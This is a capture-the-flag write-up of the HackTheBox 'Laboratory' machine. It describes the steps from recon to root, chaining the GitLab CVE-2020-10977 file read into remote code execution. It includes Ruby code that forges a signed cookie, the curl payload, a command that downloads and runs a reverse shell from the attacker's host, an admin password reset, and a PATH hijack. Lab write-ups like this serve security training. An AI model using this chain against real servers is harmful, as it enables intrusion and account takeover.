Skip to main content

HTB Laboratory

HTB: Laboratory

Initial Recon

sudo nmap -sS -sV -sC 10.10.10.216 > rec_ini

From the initial port scan, it seems that there 3 ports open :

Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-07 18:42 IST
Nmap scan report for 10.10.10.216
Host is up (0.21s latency).
Not shown: 997 filtered ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
|   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
|_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
80/tcp  open  http     Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after:  2024-03-03T10:39:28
| tls-alpn: 
|_  http/1.1
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.25 seconds
  1. The ssh port is open
  2. The http port is running a webserver which redirects to https://laboratory.htb
  3. The ssl server is running at port 443

So I added laboratory.htb to the /etc/hosts file.

After visiting the home page, I found out that it has an html index page but uses its own cerificate which I downloaded.

From the certificate I found another Domain name : git.laboratory.htb. We’ll add this one too, to our /etc/hosts file.

Directory Brute forcing

Now I tried brute forcing laboratory.htb.

gobuster dir -u https://laboratory.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -k
gobuster dir -u https://laboratory.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -k -x html, txt

To check for any files with extensions like html or txt.

But I wasn’t able to find anything interesting apart from the usual files. So I moved on to git.laboratory.htb.

Checking the other domain

This directly lands us to user sign in.

Since I don’t have any credentials, what I can do is register a new user and login to it.

babachodaOP : dadurbichi@laboratory.htb : dadurbichiphulkoluchi

Emails with any other domains than laboratory.htb was not accepted. So I used an email with domain laboratory.htb.

After signing in, if we go to the help and check the version for GitLab we get the following :

It is the version 12.8.1.

Looking for RCE for this version, I found one POC exploit which didn’t work. So I looked and found another reference to a bug bounty writeup : GitLab Arbitrary File Read.

After that I found the POC exploit for this vulnerability : https://github.com/thewhiteh4t/cve-2020-10977

Usage :

python3 cve_2020_10977.py 
usage: cve_2020_10977.py [-h] url username password
cve_2020_10977.py: error: the following arguments are required: url, username, password

Here I was able to successfully read the /etc/passwd file. However, as I thought I would be able to read the ssh key for the user, but it has separate user for gitlab.

According to the post on hackerone, it is said that this vulnerability can be changed to RCE as well.

  1. We need to grab the secret_key_base from /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml using the arbitrary file read vulnerability.

So I copied the secrets.yml file.

  1. Then we need to install our own gitlab on our local machine and replace this secrets.yml file with our local one.

I used the following command to download this particular version :

wget --content-disposition https://packages.gitlab.com/gitlab/gitlab-ce/packages/ubuntu/bionic/gitlab-ce_12.8.1-ce.0_amd64.deb/download.deb

Use sudo dpkg -i gitlab-ce_12.8.1-ce.0_amd64.debto install this particular version of gitlab.

  1. By default, you will not have a separate secrets.yml file. You need to use :
gitlab-ctl reconfigure

To generate one such file. After generating a secrets.ymlfile, replace the value of secret_key_base variable with the one you found from the targets gitlab instance.

This file will be located in /var/opt/gitlab/gitlab-rails/etc. After changing this variable, restart your github instance.

gitlab-ctl restart

Make sure to have root privileges.

Then start a gitlab-rails console:

gitlab-rails console 

With root privileges.

  1. User the following commands to generate a cookie. This cookie will allow us to create a file at the target machine. This can act as a POC that our RCE is working.
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar

erb = ERB.new("<%= `echo dadurbichi > /tmp/torbaap` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

After the cookie is generated, use the following curl command to send the request.

curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiYCNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBlY2hvIGRhZHVyYmljaGkgPiAvdG1wL3RvcmJhYXBgICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--934780ea72a07d98d06776024732e6ca89228e7c" -k 

Replace the cookie with the one you have generated. And then use the previous exploit to check if the file that you wanted to create is there on the target machine or not.

  1. Now since, we are able to create a file on the target machine, we can try to upload and execute a reverse shell.

Start a http server on your loacl machine, and use the following commands to generate a new cookie :

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar

erb = ERB.new("<%= `curl http://10.10.14.86:8000/revshell.sh -o /tmp/revshell.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

This will download the revshell.sh file from own local machine to the target machine.

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar

erb = ERB.new("<%= `bash /tmp/revshell.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

In the next request I’ll execute the shell script , in order to get a reverse shell from that target machine.

Here we see, that there is a shell as the user git.

User Flag

Now I uploaded linpeas for enumeration. From the enumeration it seems that we are inside a docker container right now. So we need to escape from the container.

Here it says that gitlab-rails was found and it is trying to dump users. So, we can use gitlab-rails to get the users and maybe the passwords as well

.

We can see that the users created by us are stored in the gitlab instance with different ids.

However the user at id=1 seems to be the admin and is the user dexter. However the passwords are encrypted.

Here : https://docs.gitlab.com/ee/security/reset_user_password.html

we can see that it is possible to reset the user password using gitlab-rails console.

It seems that we can view all the users, but we won’t be able to view their passwords. So we need to do the password reset as the only option.

  1. Store the user object in a variable, by find the user using user id :
user = User.find(1)
user = User.find(1)
#<User id:1 @dexter>
  1. Change the password parameter of the user :
user.password = 'dadurbichi'
user.password = 'dadurbichi'
"dadurbichi"
  1. Confirm the password :
user.password_confirmation = 'dadurbichi'
user.password_confirmation = 'dadurbichi'
"dadurbichi"
  1. Save the changes at last :
user.save!

Now we can login as the user dexter, in gitlab.

In the secure-docker repository, there is the home folder for dexter and inside that there is the .ssh folder with the private key. I downloaded the private key. Logging in as dexter using the private key will give me the user flag.

Root Privilege Escalation

After logging in as dexter I ran linpeas. When I was looking for SUID binaries, I found out that there is a binary called docker-security which can run by the user dexter as root.

However, I couldn’t find any information about this binary online, so I downloaded the binary to my local machine using scp and opened it up in radare2. Upon taking a look at the binary, it seems that it was made for this CTF by the author.

Taking a look at the main funciton, tells us that the binary, sets the UID and GUID to 0, and runs the binary docker and the binary docker.sock. But these two binaries are not available on the system. Since it is using the absolute paths for the these binaries, we cannot hijack their paths.

But we can try to hijack the path of chmod. Since this command is executed as the root.

Now running the docker-security binary will give me the root user.